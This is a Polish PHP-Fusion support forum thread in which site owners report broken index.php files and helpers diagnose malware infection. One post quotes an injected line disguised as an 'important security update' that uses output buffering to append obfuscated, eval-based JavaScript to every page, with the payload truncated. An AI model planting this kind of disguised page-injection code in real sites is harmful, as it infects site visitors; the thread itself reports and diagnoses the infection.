Call to undefined function redirect() na stronie w pliku index.php
|
barry |
Dodany dnia 10.09.2008 14:37:44
|
Przedszkolak
Postów: 46
Data rejestracji: 03.07.2007 17:47
|
Witam stronka mi padła i wyskakuje bład:
Fatal error: Call to undefined function redirect() in /home/alfajaro/public_html/index.php on line 14
Nie mam pojecia jaka moze byc przyczyna i jak ja zlikwidowac. Podsyłam zawartość pliku index.php i prosze o pomoc.
<?php
/*---------------------------------------------------+
| PHP-Fusion 6 Content Management System
+----------------------------------------------------+
| Copyright © 2002 - 2006 Nick Jones
| http://www.php-fusion.co.uk/
+----------------------------------------------------+
| Released under the terms & conditions of v2 of the
| GNU General Public License. For details refer to
| the included gpl.txt file or visit http://gnu.org
+----------------------------------------------------*/
require_once "maincore.php";
redirect($settings['opening_page']);
?>
<script>[color=#cc3300]Kod w zwiazku z problemami z odczytem wystepujacymi u czesci uzytkownikow zostal usuniety.[/color]</script>
Kody bledow wstawiamy w code/Pieka
Edytowane przez jantom dnia 03.09.2009 08:12:39
|
|
|
|
Wścibski Gość |
Dodany dnia 23.11.2024 01:07:25
|
Pan Kontekstualny
Postów: n^x
Data rejestracji: Zawsze
|
|
IP: localhost |
|
|
Pieka |
Dodany dnia 10.09.2008 15:52:35
|
Postów: 19882 Pomógł: 767
v7.02.03 Data rejestracji: 23.02.2005 18:12
|
Tak wyglada plik index.php:
<?php
/*-------------------------------------------------------+
| PHP-Fusion Content Management System
| Copyright (C) 2002 - 2008 Nick Jones
| http://www.php-fusion.co.uk/
+--------------------------------------------------------+
| Filename: index.php
| Author: Nick Jones (Digitanium)
+--------------------------------------------------------+
| This program is released as free software under the
| Affero GPL license. You can redistribute it and/or
| modify it under the terms of this license which you
| can read by viewing the included agpl.txt or online
| at http://www.gnu.org/licenses/agpl.html. Removal of this
| copyright header is strictly prohibited without
| written permission from the original author(s).
+--------------------------------------------------------*/
require_once "maincore.php";
redirect($settings['opening_page']);
?>
Porownaj sobie i wyciagnij wnioski.
Edytowane przez Pieka dnia 10.09.2008 15:52:50
Jestem jaki jestem
|
|
|
|
barry |
Dodany dnia 10.09.2008 16:05:49
|
Przedszkolak
Postów: 46
Data rejestracji: 03.07.2007 17:47
|
Teraz wychodzi mi błąd Fatal error: Call to undefined function redirect() in /home/alfajaro/public_html/index.php on line 20 czyli coś jest źle w tej linii
redirect($settings['opening_page']);
Nigdy nie miałem takiego problemu a strona działała bez zarzutu.
Edytowane przez barry dnia 10.09.2008 16:21:55
|
|
|
|
bartek124 |
Dodany dnia 10.09.2008 16:13:02
|
Weteran
Postów: 3264 Pomógł: 236
v7.02.06 Data rejestracji: 26.05.2007 12:25
|
Masz kolego syf na stronie i na 99% na swoim komputerze też.
Zobacz czy maincore.php nie został uszkodzony i czy znajduje się w nim funkcja redirect();
Nie pomagam na komunikatorach oraz PW!
|
|
|
|
barry |
Dodany dnia 10.09.2008 16:24:00
|
Przedszkolak
Postów: 46
Data rejestracji: 03.07.2007 17:47
|
Oto maincore.php
<?php
/*---------------------------------------------------+
| PHP-Fusion 6 Content Management System
+----------------------------------------------------+
| Copyright © 2002 - 2006 Nick Jones
| http://www.php-fusion.co.uk/
+----------------------------------------------------+
| Released under the terms & conditions of v2 of the
| GNU General Public License. For details refer to
| the included gpl.txt file or visit http://gnu.org
+----------------------------------------------------*/
if (eregi("maincore.php", $_SERVER['PHP_SELF'])) die();
// If register_globals is turned off, extract super globals (php 4.2.0+)
if (ini_get('register_globals') != 1) {
if ((isset($_POST) == true) && (is_array($_POST) == true)) extract($_POST, EXTR_OVERWRITE);
if ((isset($_GET) == true) && (is_array($_GET) == true)) extract($_GET, EXTR_OVERWRITE);
}
// Prevent any possible XSS attacks via $_GET.
foreach ($_GET as $check_url) {
if ((eregi("<[^>]*script*\"?[^>]*>", $check_url)) || (eregi("<[^>]*object*\"?[^>]*>", $check_url)) ||
(eregi("<[^>]*iframe*\"?[^>]*>", $check_url)) || (eregi("<[^>]*applet*\"?[^>]*>", $check_url)) ||
(eregi("<[^>]*meta*\"?[^>]*>", $check_url)) || (eregi("<[^>]*style*\"?[^>]*>", $check_url)) ||
(eregi("<[^>]*form*\"?[^>]*>", $check_url)) || (eregi("\([^>]*\"?[^)]*\)", $check_url)) ||
(eregi("\"", $check_url))) {
die ();
}
}
unset($check_url);
// Start Output Buffering
ob_start();
|
|
|
|
Pieka |
Dodany dnia 10.09.2008 16:26:11
|
Postów: 19882 Pomógł: 767
v7.02.03 Data rejestracji: 23.02.2005 18:12
|
Proponuje usunac istniejace pliki i zastapic je nowymi, oczywiscie odpowiednimi dla posiadanej wersji PHP-Fusion.
Jestem jaki jestem
|
|
|
|
barry |
Dodany dnia 10.09.2008 16:30:23
|
Przedszkolak
Postów: 46
Data rejestracji: 03.07.2007 17:47
|
Zamieniłem nowym plikiem maincore.php i strona odpaliła. Al powiedzcie mi skąd się wziął ten syf w pliku index.php chciałbym dodać że nic ostatnio nie modyfikowałem i nie grzebałem na stronce to się wzięło tak z siebie. Musi być jakaśtego przyczyna. Bartek 124 o jakim syfie mówisz mozesz mi cos podpowiedzieć i rozjaśnic sytuacje bo nie bardzo się znam. |
|
|
|
bartek124 |
Dodany dnia 10.09.2008 17:00:58
|
Weteran
Postów: 3264 Pomógł: 236
v7.02.06 Data rejestracji: 26.05.2007 12:25
|
1. Masz syf, czyli wirusy, trojany itp na kompie i podczas łączenia się przenoszą się też na ftp.
2. Serwer na którym stoi strona ma syf i przechodzi to na Twoją stronę.
Stawiam na wersję 1.
Nie pomagam na komunikatorach oraz PW!
|
|
|
|
barry |
Dodany dnia 10.09.2008 17:20:14
|
Przedszkolak
Postów: 46
Data rejestracji: 03.07.2007 17:47
|
Watpie mam dobrego antywirusa. Wirusy przechodzą przy łączeniu sie przez klienta FTP czy mogą przez wchodzenie na stronę przez przeglądarkę? A mozna jakaos sprawdzic czy ma sie wirusy na stronie przez jakis skaner ???
Edytowane przez barry dnia 10.09.2008 20:25:55
|
|
|
|
lesiulodz |
Dodany dnia 02.09.2009 08:14:48
|
Przedszkolak
Postów: 13 Ostrzeżeń: 3
Data rejestracji: 11.06.2005 00:24
|
Witam wydaje mi się że ten temat jest właściwy, ostatnio nie mogłem zalgować się na swoją stronę wyskakiwał mi jakiś error w 2 linijce w pliku index.php otwieram go a tutaj widzę:
<?php ob_start("security_update"); function security_update($buffer){return $buffer."\<script\ language\=\"javascript\"\>\$\=\"Z63aZ3d[...]unescape\(r\)\;\}eval\(z\(\$\)\)\;\<\/script\>";}//important security update /*-------------------------------------------------------+
| PHP-Fusion Content Management System
| Copyright (C) 2002 - 2008 Nick Jones
| http://www.php-fusion.co.uk/
+--------------------------------------------------------+
| Filename: index.php
| Author: Nick Jones (Digitanium)
+--------------------------------------------------------+
| This program is released as free software under the
| Affero GPL license. You can redistribute it and/or
| modify it under the terms of this license which you
| can read by viewing the included agpl.txt or online
| at http://www.gnu.org/licenses/agpl.html. Removal of this
| copyright header is strictly prohibited without
| written permission from the original author(s).
+--------------------------------------------------------*/
require_once "maincore.php";
redirect($settings['opening_page']);
?>
Czy może mi powiedzieć ktoś jak to się stało ? Chmod tego pliku mam ustawione na 604.
PW od moderatora:
- Przeniesienie posta - khaman 02.09 - 08:14
Edytowane przez Pieka dnia 02.09.2009 00:43:47
|
|
|
|
khaman |
Dodany dnia 02.09.2009 08:26:15
|
Postów: 2507 Pomógł: 78
Data rejestracji: 26.06.2007 12:11
|
ob_start("security_update"); function security_update($buffer){return $buffer."\<script\ language\=\"javascript\"\>\$\=\"Z63aZ3d[...]unescape\(r\)\;\}eval\(z\(\$\)\)\;\<\/script\>";}//important security update /*-------------------------------------------------------+
Jak wyżej. Tego kodu nie powinno tam być. Masz zasyfioną stronę. Skąd? Pisaliśmy wielokrotnie wirusach, więc poszukaj.
Posty pomocne oznaczaj jako pomógł Nie pomagam na PW/GG | Brak stopki = brak pomocy
|
|
|